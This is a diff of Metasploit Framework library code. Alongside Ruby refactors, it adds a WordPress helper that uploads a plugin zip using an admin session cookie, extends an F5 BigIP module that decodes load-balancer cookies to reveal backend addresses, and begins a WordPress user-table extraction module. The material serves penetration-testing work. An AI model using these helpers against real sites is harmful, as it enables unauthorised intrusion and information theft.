query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['NumberOfLinks'] = number_links
|
||||
query_path_info.v['DeletePending'] = delete_pending
|
||||
query_path_info.v['Directory'] = directory
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
def send_info_network_res(c, opts= {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -172,11 +172,11 @@ module ReverseHttp
|
|||
end
|
||||
|
||||
#
|
||||
# Removes the / handler and stop the service.
|
||||
# Removes the / handler, possibly stopping the service if no sessions are
|
||||
# active on sub-urls.
|
||||
#
|
||||
def stop_handler
|
||||
self.service.remove_resource("/") if self.service
|
||||
self.service.stop
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
|
|
|
@ -68,7 +68,7 @@ module LDAP
|
|||
0x02 => 'LDAP_PROTOCOL_ERROR',
|
||||
0x0a => 'LDAP_REFERRAL',
|
||||
0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',
|
||||
0x09 => 'LDAP_REFERRAL_V2',
|
||||
# 0x09 => 'LDAP_REFERRAL_V2', alias for LDAP_PARTIAL_RESULTS
|
||||
0x46 => 'LDAP_RESULTS_TOO_LARGE',
|
||||
0x51 => 'LDAP_SERVER_DOWN',
|
||||
0x04 => 'LDAP_SIZELIMIT_EXCEEDED',
|
||||
|
|
|
@ -31,7 +31,7 @@ class Client
|
|||
|
||||
def login(user,pass)
|
||||
res = self.call("auth.login", user, pass)
|
||||
if(not (res and res['result'] == "success"))
|
||||
unless (res && res['result'] == "success")
|
||||
raise RuntimeError, "authentication failed"
|
||||
end
|
||||
self.token = res['token']
|
||||
|
@ -41,8 +41,8 @@ class Client
|
|||
# Prepend the authentication token as the first parameter
|
||||
# of every call except auth.login. Requires the
|
||||
def call(meth, *args)
|
||||
if(meth != "auth.login")
|
||||
if(not self.token)
|
||||
unless meth == "auth.login"
|
||||
unless self.token
|
||||
raise RuntimeError, "client not authenticated"
|
||||
end
|
||||
args.unshift(self.token)
|
||||
|
@ -50,7 +50,7 @@ class Client
|
|||
|
||||
args.unshift(meth)
|
||||
|
||||
if not @cli
|
||||
unless @cli
|
||||
@cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version])
|
||||
@cli.set_config(
|
||||
:vhost => info[:host],
|
||||
|
@ -69,10 +69,10 @@ class Client
|
|||
res = @cli.send_recv(req)
|
||||
@cli.close
|
||||
|
||||
if res and [200, 401, 403, 500].include?(res.code)
|
||||
if res && [200, 401, 403, 500].include?(res.code)
|
||||
resp = MessagePack.unpack(res.body)
|
||||
|
||||
if resp and resp.kind_of?(::Hash) and resp['error'] == true
|
||||
if resp && resp.kind_of?(::Hash) && resp['error']
|
||||
raise Msf::RPC::ServerException.new(resp['error_code'] || res.code, resp['error_message'] || resp['error_string'], resp['error_class'], resp['error_backtrace'])
|
||||
end
|
||||
|
||||
|
@ -83,7 +83,7 @@ class Client
|
|||
end
|
||||
|
||||
def close
|
||||
if @cli and @cli.conn?
|
||||
if @cli && @cli.conn?
|
||||
@cli.close
|
||||
end
|
||||
@cli = nil
|
||||
|
|
|
@ -112,13 +112,13 @@ class Service
|
|||
end
|
||||
end
|
||||
|
||||
if not (req.headers["Content-Type"] and req.headers["Content-Type"] == "binary/message-pack")
|
||||
unless (req.headers["Content-Type"] && req.headers["Content-Type"] == "binary/message-pack")
|
||||
raise ArgumentError, "Invalid Content Type"
|
||||
end
|
||||
|
||||
msg = MessagePack.unpack(req.body)
|
||||
|
||||
if not (msg and msg.kind_of?(::Array) and msg.length > 0)
|
||||
unless (msg && msg.kind_of?(::Array) && msg.length > 0)
|
||||
raise ArgumentError, "Invalid Message Format"
|
||||
end
|
||||
|
||||
|
@ -126,7 +126,7 @@ class Service
|
|||
|
||||
group, funct = msg.shift.split(".", 2)
|
||||
|
||||
if not self.handlers[group]
|
||||
unless self.handlers[group]
|
||||
raise ArgumentError, "Unknown API Group: '#{group.inspect}'"
|
||||
end
|
||||
|
||||
|
@ -138,13 +138,13 @@ class Service
|
|||
mname << '_noauth'
|
||||
end
|
||||
|
||||
if not self.handlers[group].respond_to?(mname)
|
||||
unless self.handlers[group].respond_to?(mname)
|
||||
raise ArgumentError, "Unknown API Call: '#{mname.inspect}'"
|
||||
end
|
||||
|
||||
if doauth
|
||||
token = msg.shift
|
||||
if not authenticate(token)
|
||||
unless authenticate(token)
|
||||
raise ::Msf::RPC::Exception.new(401, "Invalid Authentication Token")
|
||||
end
|
||||
end
|
||||
|
@ -203,7 +203,7 @@ class Service
|
|||
stale = []
|
||||
|
||||
|
||||
if not (token and token.kind_of?(::String))
|
||||
unless (token && token.kind_of?(::String))
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -212,17 +212,17 @@ class Service
|
|||
|
||||
self.tokens.each_key do |t|
|
||||
user,ctime,mtime,perm = self.tokens[t]
|
||||
if ! perm and mtime + self.token_timeout < Time.now.to_i
|
||||
if !perm && mtime + self.token_timeout < Time.now.to_i
|
||||
stale << t
|
||||
end
|
||||
end
|
||||
|
||||
stale.each { |t| self.tokens.delete(t) }
|
||||
|
||||
if not self.tokens[token]
|
||||
unless self.tokens[token]
|
||||
|
||||
begin
|
||||
if framework.db.active and ::Mdm::ApiKey.find_by_token(token)
|
||||
if framework.db.active && ::Mdm::ApiKey.find_by_token(token)
|
||||
return true
|
||||
end
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
module Msf
|
||||
module HTTP
|
||||
module Wordpress
|
||||
require 'msf/http/wordpress/admin'
|
||||
require 'msf/http/wordpress/base'
|
||||
require 'msf/http/wordpress/helpers'
|
||||
require 'msf/http/wordpress/login'
|
||||
|
@ -14,6 +15,7 @@ module Msf
|
|||
require 'msf/http/wordpress/xml_rpc'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress::Admin
|
||||
include Msf::HTTP::Wordpress::Base
|
||||
include Msf::HTTP::Wordpress::Helpers
|
||||
include Msf::HTTP::Wordpress::Login
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Admin
|
||||
# Uploads a plugin using a valid admin session.
|
||||
#
|
||||
# @param name [String] The name of the plugin
|
||||
# @param zip [String] The plugin zip file as a string
|
||||
# @param cookie [String] A valid admin session cookie
|
||||
# @return [Boolean] true on success, false on error
|
||||
def wordpress_upload_plugin(name, zip, cookie)
|
||||
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
|
||||
if nonce.nil?
|
||||
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
|
||||
return false
|
||||
end
|
||||
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
|
||||
|
||||
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
|
||||
data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
|
||||
data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
|
||||
data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_update,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'action' => 'upload-plugin' }
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
vprint_status("#{peer} - Uploaded plugin #{name}")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - Server responded with code #{res.code}") if res
|
||||
vprint_error("#{peer} - Failed to upload plugin #{name}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
|
@ -119,4 +119,21 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
path_from_uri(location)
|
||||
end
|
||||
|
||||
# Helper method to retrieve a valid plugin upload nonce.
|
||||
#
|
||||
# @param cookie [String] A valid admin session cookie
|
||||
# @return [String,nil] The nonce, nil on error
|
||||
def wordpress_helper_get_plugin_upload_nonce(cookie)
|
||||
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'tab' => 'upload' }
|
||||
}
|
||||
res = send_request_cgi(options)
|
||||
if res && res.code == 200
|
||||
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -87,6 +87,12 @@ module Msf::HTTP::Wordpress::URIs
|
|||
normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Admin Update URL
|
||||
#
|
||||
# @return [String] Wordpress Admin Update URL
|
||||
def wordpress_url_admin_update
|
||||
normalize_uri(wordpress_url_backend, 'update.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
|
|
|
@ -92,8 +92,17 @@ module Msf::HTTP::Wordpress::Version
|
|||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# no Readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
|
|
|
@ -107,47 +107,48 @@ class Core
|
|||
# Returns the list of commands supported by this command dispatcher
|
||||
def commands
|
||||
{
|
||||
"?" => "Help menu",
|
||||
"back" => "Move back from the current context",
|
||||
"banner" => "Display an awesome metasploit banner",
|
||||
"cd" => "Change the current working directory",
|
||||
"connect" => "Communicate with a host",
|
||||
"color" => "Toggle color",
|
||||
"exit" => "Exit the console",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"get" => "Gets the value of a context-specific variable",
|
||||
"getg" => "Gets the value of a global variable",
|
||||
"go_pro" => "Launch Metasploit web GUI",
|
||||
"grep" => "Grep the output of another command",
|
||||
"help" => "Help menu",
|
||||
"info" => "Displays information about one or more module",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"jobs" => "Displays and manages jobs",
|
||||
"kill" => "Kill a job",
|
||||
"load" => "Load a framework plugin",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"quit" => "Exit the console",
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"makerc" => "Save commands entered since start to a file",
|
||||
"?" => "Help menu",
|
||||
"back" => "Move back from the current context",
|
||||
"banner" => "Display an awesome metasploit banner",
|
||||
"cd" => "Change the current working directory",
|
||||
"connect" => "Communicate with a host",
|
||||
"color" => "Toggle color",
|
||||
"exit" => "Exit the console",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"get" => "Gets the value of a context-specific variable",
|
||||
"getg" => "Gets the value of a global variable",
|
||||
"go_pro" => "Launch Metasploit web GUI",
|
||||
"grep" => "Grep the output of another command",
|
||||
"help" => "Help menu",
|
||||
"info" => "Displays information about one or more module",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"jobs" => "Displays and manages jobs",
|
||||
"rename_job" => "Rename a job",
|
||||
"kill" => "Kill a job",
|
||||
"load" => "Load a framework plugin",
|
||||
"loadpath" => "Searches for and loads modules from a path",
|
||||
"popm" => "Pops the latest module off the stack and makes it active",
|
||||
"pushm" => "Pushes the active or list of modules onto the module stack",
|
||||
"previous" => "Sets the previously loaded module as the current module",
|
||||
"quit" => "Exit the console",
|
||||
"resource" => "Run the commands stored in a file",
|
||||
"makerc" => "Save commands entered since start to a file",
|
||||
"reload_all" => "Reloads all modules from all defined module paths",
|
||||
"route" => "Route traffic through a session",
|
||||
"save" => "Saves the active datastores",
|
||||
"search" => "Searches module names and descriptions",
|
||||
"sessions" => "Dump session listings and display information about sessions",
|
||||
"set" => "Sets a context-specific variable to a value",
|
||||
"setg" => "Sets a global variable to a value",
|
||||
"show" => "Displays modules of a given type, or all modules",
|
||||
"sleep" => "Do nothing for the specified number of seconds",
|
||||
"threads" => "View and manipulate background threads",
|
||||
"unload" => "Unload a framework plugin",
|
||||
"unset" => "Unsets one or more context-specific variables",
|
||||
"unsetg" => "Unsets one or more global variables",
|
||||
"use" => "Selects a module by name",
|
||||
"version" => "Show the framework and console library version numbers",
|
||||
"spool" => "Write console output into a file as well the screen"
|
||||
"route" => "Route traffic through a session",
|
||||
"save" => "Saves the active datastores",
|
||||
"search" => "Searches module names and descriptions",
|
||||
"sessions" => "Dump session listings and display information about sessions",
|
||||
"set" => "Sets a context-specific variable to a value",
|
||||
"setg" => "Sets a global variable to a value",
|
||||
"show" => "Displays modules of a given type, or all modules",
|
||||
"sleep" => "Do nothing for the specified number of seconds",
|
||||
"threads" => "View and manipulate background threads",
|
||||
"unload" => "Unload a framework plugin",
|
||||
"unset" => "Unsets one or more context-specific variables",
|
||||
"unsetg" => "Unsets one or more global variables",
|
||||
"use" => "Selects a module by name",
|
||||
"version" => "Show the framework and console library version numbers",
|
||||
"spool" => "Write console output into a file as well the screen"
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -780,6 +781,50 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_rename_job_help
|
||||
print_line "Usage: rename_job [ID] [Name]"
|
||||
print_line
|
||||
print_line "Example: rename_job 0 \"meterpreter HTTPS special\""
|
||||
print_line
|
||||
print_line "Rename a job that's currently active."
|
||||
print_line "You may use the jobs command to see what jobs are available."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_rename_job(*args)
|
||||
if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/
|
||||
cmd_rename_job_help
|
||||
return false
|
||||
end
|
||||
|
||||
job_id = args[0].to_s
|
||||
job_name = args[1].to_s
|
||||
|
||||
unless framework.jobs[job_id]
|
||||
print_error("Job #{job_id} does not exist.")
|
||||
return false
|
||||
end
|
||||
|
||||
# This is not respecting the Protected access control, but this seems to be the only way
|
||||
# to rename a job. If you know a more appropriate way, patches accepted.
|
||||
framework.jobs[job_id].send(:name=, job_name)
|
||||
print_status("Job #{job_id} updated")
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the rename_job command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
def cmd_rename_job_tabs(str, words)
|
||||
return [] if words.length > 1
|
||||
framework.jobs.keys
|
||||
end
|
||||
|
||||
def cmd_jobs_help
|
||||
print_line "Usage: jobs [options]"
|
||||
print_line
|
||||
|
|
|
@ -674,6 +674,7 @@ class Db
|
|||
print_line "General options"
|
||||
print_line " -h,--help Show this help information"
|
||||
print_line " -o <file> Send output to a file in csv format"
|
||||
print_line " -d Delete one or more credentials"
|
||||
print_line
|
||||
print_line "Filter options for listing"
|
||||
print_line " -P,--password <regex> List passwords that match this regex"
|
||||
|
@ -701,6 +702,11 @@ class Db
|
|||
print_line " # Add a user with an SSH key"
|
||||
print_line " creds add-ssh-key root /root/.ssh/id_rsa"
|
||||
print_line
|
||||
|
||||
print_line "Example, deleting:"
|
||||
print_line " # Delete all SMB credentials"
|
||||
print_line " creds -d -s smb"
|
||||
print_line
|
||||
end
|
||||
|
||||
# @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential`
|
||||
|
|
|
@ -18,7 +18,7 @@ end
|
|||
class BoundsError < ElfError
|
||||
end
|
||||
|
||||
class WtfError < ElfError
|
||||
class ElfParseyError < ElfError
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -94,7 +94,7 @@ class JmpRegScanner < Generic
|
|||
return 3
|
||||
end
|
||||
|
||||
raise "wtf"
|
||||
raise "Cannot read at offset: #{offset}"
|
||||
end
|
||||
|
||||
def _parse_ret(data)
|
||||
|
@ -136,7 +136,7 @@ class JmpRegScanner < Generic
|
|||
message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize))
|
||||
offset += 2 + retsize
|
||||
else
|
||||
raise "wtf"
|
||||
raise "Unexpected value at #{offset}"
|
||||
end
|
||||
else
|
||||
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
|
||||
|
|
|
@ -18,9 +18,6 @@ end
|
|||
class BoundsError < MachError
|
||||
end
|
||||
|
||||
#class WtfError < MachError
|
||||
#end
|
||||
|
||||
class FatError < ::RuntimeError
|
||||
end
|
||||
|
||||
|
|
|
@ -125,7 +125,7 @@ class JmpRegScanner < Generic
|
|||
message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize))
|
||||
offset += 2 + retsize
|
||||
else
|
||||
raise "wtf"
|
||||
raise "Unexpected value at offset: #{offset}"
|
||||
end
|
||||
else
|
||||
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
|
||||
|
|
|
@ -21,7 +21,7 @@ end
|
|||
class BoundsError < PeError
|
||||
end
|
||||
|
||||
class WtfError < PeError
|
||||
class PeParseyError < PeError
|
||||
end
|
||||
|
||||
class SkipError < PeError
|
||||
|
|
|
@ -1196,7 +1196,7 @@ class PeBase
|
|||
return section.rva_to_file_offset(rva)
|
||||
end
|
||||
end
|
||||
raise WtfError, "wtf!", caller
|
||||
raise PeParseyError, "No section contains RVA", caller
|
||||
end
|
||||
|
||||
def vma_to_file_offset(vma)
|
||||
|
@ -1205,7 +1205,7 @@ class PeBase
|
|||
|
||||
def file_offset_to_rva(foffset)
|
||||
if foffset < 0
|
||||
raise WtfError, "lame", caller
|
||||
raise PeParseyError, "Offset should not be less than 0. The value is: #{foffset}", caller
|
||||
end
|
||||
|
||||
all_sections.each do |section|
|
||||
|
@ -1214,7 +1214,7 @@ class PeBase
|
|||
end
|
||||
end
|
||||
|
||||
raise WtfError, "wtf! #{foffset}", caller
|
||||
raise PeParseyError, "No section contains file offset #{foffset}", caller
|
||||
end
|
||||
|
||||
def file_offset_to_vma(foffset)
|
||||
|
@ -1245,7 +1245,7 @@ class PeBase
|
|||
section = _find_section_by_rva(rva)
|
||||
|
||||
if !section
|
||||
raise WtfError, "Cannot find rva! #{rva}", caller
|
||||
raise PeParseyError, "Cannot find rva! #{rva}", caller
|
||||
end
|
||||
|
||||
return section
|
||||
|
|
|
@ -30,7 +30,7 @@ module Search
|
|||
|
||||
begin
|
||||
buf = pe.read_rva(@address, suf)
|
||||
rescue ::Rex::PeParsey::WtfError
|
||||
rescue ::Rex::PeParsey::PeParseyError
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -81,7 +81,6 @@ class Server
|
|||
"htm" => "text/htm",
|
||||
"jpg" => "image/jpeg",
|
||||
"jpeg" => "image/jpeg",
|
||||
"jpeg" => "image/jpeg",
|
||||
"gif" => "image/gif",
|
||||
"png" => "image/png",
|
||||
"bmp" => "image/bmp",
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -8,13 +8,13 @@ module Exceptions
|
|||
class Error < ::RuntimeError
|
||||
|
||||
@@errors = {
|
||||
0x00000000 => "STATUS_SUCCESS",
|
||||
# 0x00000000 => "STATUS_SUCCESS",
|
||||
0x00000000 => "STATUS_WAIT_0",
|
||||
0x00000001 => "STATUS_WAIT_1",
|
||||
0x00000002 => "STATUS_WAIT_2",
|
||||
0x00000003 => "STATUS_WAIT_3",
|
||||
0x0000003F => "STATUS_WAIT_63",
|
||||
0x00000080 => "STATUS_ABANDONED",
|
||||
# 0x00000080 => "STATUS_ABANDONED",
|
||||
0x00000080 => "STATUS_ABANDONED_WAIT_0",
|
||||
0x000000BF => "STATUS_ABANDONED_WAIT_63",
|
||||
0x000000C0 => "STATUS_USER_APC",
|
||||
|
|
|
@ -281,7 +281,7 @@ class Rex::Socket::Comm::Local
|
|||
raise ::Errno::ETIMEDOUT
|
||||
end
|
||||
|
||||
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL
|
||||
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::ENOPROTOOPT
|
||||
|
||||
# Rescue errors caused by a bad Scope ID for a link-local address
|
||||
if retry_scopes and @@ip6_lla_scopes[ ip6_scope_idx ]
|
||||
|
|
|
@ -1810,4 +1810,3 @@ protected
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -29,9 +29,9 @@ Gem::Specification.new do |spec|
|
|||
|
||||
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
|
||||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.19'
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 0.14.0'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.22.8'
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.23.0'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -15,9 +15,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Name' => 'F5 BigIP Backend Cookie Disclosure',
|
||||
'Description' => %q{
|
||||
This module identifies F5 BigIP load balancers and leaks backend
|
||||
information through cookies inserted by the BigIP devices.
|
||||
information (pool name, backend's IP address and port, routed domain)
|
||||
through cookies inserted by the BigIP system.
|
||||
},
|
||||
'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ],
|
||||
'Author' =>
|
||||
[
|
||||
'Thanat0s <thanspam[at]trollprod.org>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>',
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
|
||||
|
@ -34,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def change_endianness(value, size=4)
|
||||
conversion = value
|
||||
conversion = nil
|
||||
|
||||
if size == 4
|
||||
conversion = [value].pack("V").unpack("N").first
|
||||
|
@ -46,21 +53,30 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def cookie_decode(cookie_value)
|
||||
back_end = ""
|
||||
|
||||
if cookie_value =~ /(\d{8})\.(\d{5})\./
|
||||
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = $1.to_i
|
||||
port = $2.to_i
|
||||
|
||||
host = change_endianness(host)
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
|
||||
port = change_endianness(port, 2)
|
||||
|
||||
back_end = "#{host}:#{port}"
|
||||
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
elsif cookie_value =~ /!.{104}/
|
||||
host = nil
|
||||
port = nil
|
||||
end
|
||||
|
||||
back_end
|
||||
host.nil? ? nil : "#{host}:#{port}"
|
||||
end
|
||||
|
||||
def get_cookie # request a page and extract a F5 looking cookie.
|
||||
|
@ -71,13 +87,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
unless res.nil?
|
||||
# Get the SLB session ID, like "TestCookie=2263487148.3013.0000"
|
||||
m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/)
|
||||
unless m.nil?
|
||||
cookie[:id] = (m.nil?) ? nil : m[1]
|
||||
cookie[:value] = (m.nil?) ? nil : m[2]
|
||||
end
|
||||
end
|
||||
# Get the SLB session IDs for all cases:
|
||||
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
|
||||
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
|
||||
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
|
||||
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
|
||||
|
||||
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
|
||||
cookie[:id] = m.nil? ? nil : m[1]
|
||||
cookie[:value] = m.nil? ? nil : m[2]
|
||||
end
|
||||
|
||||
cookie
|
||||
end
|
||||
|
@ -96,17 +116,26 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cookie = get_cookie() # Get the cookie
|
||||
# If the cookie is not found, stop process
|
||||
if cookie.empty? || cookie[:id].nil?
|
||||
print_error("#{peer} - F5 Server load balancing cookie not found")
|
||||
print_error("#{peer} - F5 BigIP load balancing cookie not found")
|
||||
break
|
||||
end
|
||||
|
||||
# Print the cookie name on the first request
|
||||
if i == 0
|
||||
print_status("#{peer} - F5 Server load balancing cookie \"#{cookie[:id]}\" found")
|
||||
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
|
||||
if cookie[:id].start_with?('BIGipServer')
|
||||
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('rd')
|
||||
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
|
||||
end
|
||||
if cookie[:value].start_with?('!')
|
||||
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
|
||||
end
|
||||
end
|
||||
|
||||
back_end = cookie_decode(cookie[:value])
|
||||
unless back_ends.include?(back_end)
|
||||
unless back_end.nil? || back_ends.include?(back_end)
|
||||
print_status("#{peer} - Backend #{back_end} found")
|
||||
back_ends.push(back_end)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,110 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'csv'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Ultimate CSV Importer User Table Extract',
|
||||
'Description' => %q{
|
||||
Due to lack of verification of a visitor's permissions, it is possible
|
||||
